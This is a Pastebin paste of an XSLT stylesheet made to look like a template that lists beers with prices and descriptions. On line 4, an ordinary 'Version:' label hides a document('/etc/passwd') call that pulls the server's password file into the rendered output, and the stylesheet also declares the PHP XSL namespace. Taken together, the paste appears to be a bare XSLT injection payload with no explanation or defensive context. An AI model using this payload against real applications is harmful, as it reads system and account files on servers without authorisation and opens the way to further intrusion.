SHARE
TWEET

Untitled

a guest Jul 17th, 2017 45 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
  3. <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
  4. Version: <xsl:value-of select="document('/etc/passwd')" />
  5. <xsl:for-each select="beers/beer">
  6.   <div style="background-color:teal;color:white;padding:4px">
  7.     <span style="font-weight:bold"><xsl:value-of select="name"/> - </span>
  8.     <xsl:value-of select="price"/>
  9.     </div>
  10.   <div style="margin-left:20px;margin-bottom:1em;font-size:10pt">
  11.     <p>
  12.     <xsl:value-of select="description"/>
  13.     <span style="font-style:italic"> (<xsl:value-of select='prct'/> %)</span>
  14.     </p>
  15.   </div>
  16. </xsl:for-each>
  17. </body>
  18. </html>
RAW Paste Data
Top